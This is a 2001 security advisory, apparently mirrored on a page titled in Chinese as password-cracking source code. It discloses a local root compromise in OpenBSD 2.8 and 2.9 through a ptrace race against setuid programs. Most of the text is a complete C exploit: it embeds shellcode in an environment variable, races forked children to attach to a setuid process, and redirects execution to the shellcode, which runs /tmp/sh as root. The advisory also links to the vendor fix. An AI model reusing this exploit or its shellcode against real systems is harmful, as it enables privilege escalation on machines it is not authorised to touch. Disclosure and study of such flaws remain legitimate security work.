openbsdrace.txt

密码破解源代码

   [e-mail] Georgi Guninski security advisory #47, 2001
   
   OpenBSD 2.9,2.8 local root compromise
   
   Systems affected:
   OpenBSD 2.9,2.8
   Have not tested on other OSes but they may be vulnerable
   
   Risk: High
   Date: 14 June 2001
   
   Legal Notice:
   This Advisory is Copyright (c) 2001 Georgi Guninski.
   You may distribute it unmodified.
   You may not modify it and distribute it or distribute parts
   of it without the author's written permission.
   
   Disclaimer:
   The information in this advisory is believed to be true based on
   experiments though it may be false.
   The opinions expressed in this advisory and program are my own and
   not of any company. The usual standard disclaimer applies,
   especially the fact that Georgi Guninski is not liable for any damages
   caused by direct or  indirect use of the information or functionality
   provided by this advisory or program. Georgi Guninski bears no
   responsibility for content or misuse of this advisory or program or
   any derivatives thereof.
   
   Description:
   
   There is local root compromise in OpenBSD 2.9, 2.8 due to a race
   probably in the kernel. This is quite similar to the linux kernel
   race several months ago.
   
   Details:
   By forking a few process it is possible to attach to +s pid with ptrace.
   The process seems to be in a strange state when it is attached.
   Contrary to the man info PT_DETACH allows specifying an address to which
   execution is continued.
   
   Exploit:
   
   http://www.guninski.com/vvopenbsd.c
   
   /* Written by Georgi Guninski http://www.guninski.com
   Tested on OpenBSD 2.9 and 2.8
   Works best after reboot - the +s program must not be executed before,
   seems
   executes /tmp/sh
   /tmp/su must be a link to +s program
   if the +s program has been executed, create and run shell script the
   size of RAM
   You may need to type "fg" if the program receives stop signal
   you may need to run the program several times
   */
   
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/types.h>
   #include <signal.h>
   #include <sys/ptrace.h>
   #include <sys/wait.h>
   #include <limits.h>
   #include <errno.h>
   #include <stdlib.h>
   #include <machine/reg.h>
   
   int me=0;
   
   void endit(int x)
   {
   if(!me)
    {
    printf("exiting\n");
    exit(0);
    }
   }
   
   extern char **environ;
   int main(int ac, char **av)
   {
   
   volatile struct reg pt;
   
   //exec "/tmp/sh"
   char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                     "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                     "\xb0\x3b\x50\xcd\x80\x90\x90\x90";
   
   int j,status,sig;
   volatile int done=0;
   volatile static int done2=0;
   int pid,pid2,i;
   int num; // number of processes to fork. 20 works for me on Pentium500
   int target;
   
   char *env1;
   // address of $joro where execution of shell code begins.may need to be
   changed
   unsigned int breakat=0xdfbfddaf;
   num=20;
   pid=getpid();
   if(!getenv("joro"))
   {
   setenv("joro",bsdshell,1);
   if (execle(av[0],"a",NULL,environ))
    perror("exec");
   }
   else
    breakat=(int)getenv("joro");
   printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
   target=pid;
   printf("Started pid1=%d target=%d\n",pid,target);
   for(i=0;i<num;i++)
    {
    if (!done)
     if(! (pid2 = fork()))
     {
      signal(SIGURG,&endit);
      pid2=getpid();
      while(!done)
      {
       if (!ptrace(PT_ATTACH, target,NULL,NULL))
      {
      done=1;
      printf("\nAttached!\n");
   
      wait(&status);
      sig=WSTOPSIG(status);
   
     printf("sig=%d %s\n",status,sys_siglist[sig]);
     ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);
     printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);
   
    me=1;
    done2 +=1;
   
     ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);
   
   //sleep(2);
   kill(0,SIGURG);
   sleep(4);
   while(42)
    kill(target,SIGCONT);
      }
     }
     }
    }
   // "/tmp/su" must be symbolic link to +s program .
   // the program must not be executed before.
   execle("/tmp/su","/usr/bin/su",NULL,environ);
   }
   
   Solution:
   http://www.openbsd.org/errata.html#kernexec
   
   Vendor status:
   OpenBSD was informed on 9 June 2001.